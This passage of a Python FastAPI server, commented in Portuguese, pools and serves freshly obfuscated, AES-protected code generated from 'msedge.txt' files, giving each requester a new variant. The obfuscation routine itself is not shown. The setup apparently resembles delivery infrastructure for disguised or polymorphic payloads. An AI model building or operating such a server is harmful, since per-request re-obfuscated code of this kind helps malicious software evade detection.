        if not source:
            return
        
        try:
            start = time.time()
            protected = protect_code_complete(source)
            elapsed = (time.time() - start) * 1000
            
            with self._get_lock(folder):
                if folder not in self.pools:
                    self.pools[folder] = deque(maxlen=POOL_CONFIG['max_size'])
                self.pools[folder].append(protected)
            
            self.stats['generated'] += 1
            pool_size = len(self.pools.get(folder, []))
            print(f"[POOL] Gerado para {folder or 'raiz'} em {elapsed:.0f}ms (pool: {pool_size})")
        except Exception as e:
            print(f"[ERRO] Gerar código: {e}")
    
    def _request_generation(self, folder: str, count: int = 1):
        for _ in range(count):
            self.generator_queue.put(folder)
    
    def get_code(self, folder: str) -> Optional[str]:
        self.stats['total_requests'] += 1
        folder = folder.strip('/') if folder else ""
        
        source = self._load_source(folder)
        if not source:
            return None
        
        with self._get_lock(folder):
            if folder in self.pools and self.pools[folder]:
                code = self.pools[folder].popleft()
                pool_size = len(self.pools[folder])
                self.stats['served_from_pool'] += 1
                
                if pool_size < POOL_CONFIG['refill_threshold']:
                    self._request_generation(folder, POOL_CONFIG['min_size'] - pool_size)
                
                print(f"[POOL] Servido do pool {folder or 'raiz'} (restam: {pool_size})")
                return code
        
        print(f"[POOL] Pool vazio para {folder or 'raiz'}, gerando...")
        protected = protect_code_complete(source)
        self.stats['served_generated'] += 1
        
        self._request_generation(folder, POOL_CONFIG['min_size'])
        
        return protected
    
    def warmup(self, folder: str):
        print(f"[WARMUP] Pré-gerando para {folder or 'raiz'}...")
        self._request_generation(folder, POOL_CONFIG['min_size'])
    
    def discover_folders(self) -> list:
        """Descobre todas as pastas que têm msedge.txt"""
        base = SERVER_CONFIG['base_dir']
        src = SERVER_CONFIG['source_file']
        folders = []
        
        # Verificar raiz
        if os.path.exists(os.path.join(base, src)):
            folders.append("")
        
        # Verificar subpastas
        try:
            for item in os.listdir(base):
                item_path = os.path.join(base, item)
                if os.path.isdir(item_path):
                    if os.path.exists(os.path.join(item_path, src)):
                        folders.append(item)
        except Exception as e:
            print(f"[ERRO] Ao escanear pastas: {e}")
        
        return folders
    
    def warmup_all(self):
        """Pré-aquece TODAS as pastas que têm msedge.txt"""
        folders = self.discover_folders()
        print(f"[WARMUP] Encontradas {len(folders)} pasta(s) com {SERVER_CONFIG['source_file']}")
        
        for folder in folders:
            self.warmup(folder)
            print(f"[WARMUP] Iniciado: {folder or 'raiz'}")
    
    def get_stats(self) -> dict:
        pools_info = {(f or 'raiz'): len(p) for f, p in self.pools.items()}
        return {
            'generated': self.stats['generated'],
            'served_from_pool': self.stats['served_from_pool'],
            'served_generated': self.stats['served_generated'],
            'total_requests': self.stats['total_requests'],
            'pool_sizes': pools_info,
            'queue_size': self.generator_queue.qsize(),
        }


code_pool = CodePool()


# ═══════════════════════════════════════════════════════════════════════════════
# SERVIDOR FASTAPI
# ═══════════════════════════════════════════════════════════════════════════════

try:
    from fastapi import FastAPI
    from fastapi.responses import PlainTextResponse
    import uvicorn
except ImportError:
    print("ERRO: pip3 install fastapi uvicorn --break-system-packages")
    sys.exit(1)

app = FastAPI(title="Servidor Completo + Pool", version="5.0")
stats = {'start': None}


@app.on_event("startup")
async def startup():
    stats['start'] = datetime.now()
    
    aes_status = "RÁPIDO (cryptography)" if CRYPTO_FAST else "LENTO (Python puro)"
    
    print()
    print("╔════════════════════════════════════════════════════════════════════════════╗")
    print("║     SERVIDOR COMPLETO + POOL v5.1 - AUTO-WARMUP                           ║")
    print("╠════════════════════════════════════════════════════════════════════════════╣")
    print("║  [✓] TODAS as 9 camadas de proteção (IGUAL proteger.py original)          ║")
    print("║  [✓] ZERO PERDA DE CLIENTES - Sistema de pool                             ║")
    print("║  [✓] PRÉ-AQUECE TODAS AS PASTAS AUTOMATICAMENTE                           ║")
    print("║  [✓] Cliente recebe código INSTANTÂNEO                                    ║")
    print(f"║  [✓] AES: {aes_status:<54} ║")
    print("╚════════════════════════════════════════════════════════════════════════════╝")
    print()
    
    if not CRYPTO_FAST:
        print("[AVISO] Instale: pip3 install cryptography --break-system-packages")
        print()
    
    print(f"[OK] Pool: min={POOL_CONFIG['min_size']}, max={POOL_CONFIG['max_size']}")
    print(f"[OK] Threads geradoras: {POOL_CONFIG['generator_threads']}")
    print()
    
    # Pré-aquecer TODAS as pastas automaticamente
    code_pool.warmup_all()


@app.get("/proteger", response_class=PlainTextResponse)
async def proteger(folder: str = ""):
    start = time.time()
    code = code_pool.get_code(folder)
    
    if code is None:
        return PlainTextResponse(f"# ERRO: msedge.txt não encontrado em {folder or 'raiz'}", status_code=404)
    
    elapsed = (time.time() - start) * 1000
    print(f"[OK] {folder or 'raiz'} → {len(code):,} chars em {elapsed:.0f}ms")
    
    return PlainTextResponse(code)


@app.get("/warmup")
async def warmup(folder: str = ""):
    code_pool.warmup(folder)
    return {"status": "warming up", "folder": folder or "raiz"}


@app.get("/stats")
async def get_stats():
    return {
        'uptime': str(datetime.now() - stats['start']) if stats['start'] else None,
        'aes_fast': CRYPTO_FAST,
        'pool': code_pool.get_stats(),
    }


@app.get("/health")
async def health():
    folders = code_pool.discover_folders()
    return {
        "status": "ok", 
        "version": "5.1", 
        "aes_fast": CRYPTO_FAST, 
        "pool": True,
        "folders_detected": len(folders),
        "folders": [f or "raiz" for f in folders]
    }


@app.get("/folders")
async def list_folders():
    """Lista todas as pastas detectadas com msedge.txt"""
    folders = code_pool.discover_folders()
    pool_stats = code_pool.get_stats()
    
    result = []
    for folder in folders:
        name = folder or "raiz"
        pool_size = pool_stats['pool_sizes'].get(name, 0)
        result.append({
            "folder": name,
            "pool_size": pool_size,
            "ready": pool_size > 0
        })
    
    return {"folders": result, "total": len(folders)}


if __name__ == "__main__":
    script = os.path.splitext(os.path.basename(sys.argv[0]))[0]
    uvicorn.run(f"{script}:app", host=SERVER_CONFIG['host'],
                port=SERVER_CONFIG['port'], workers=1, log_level="info")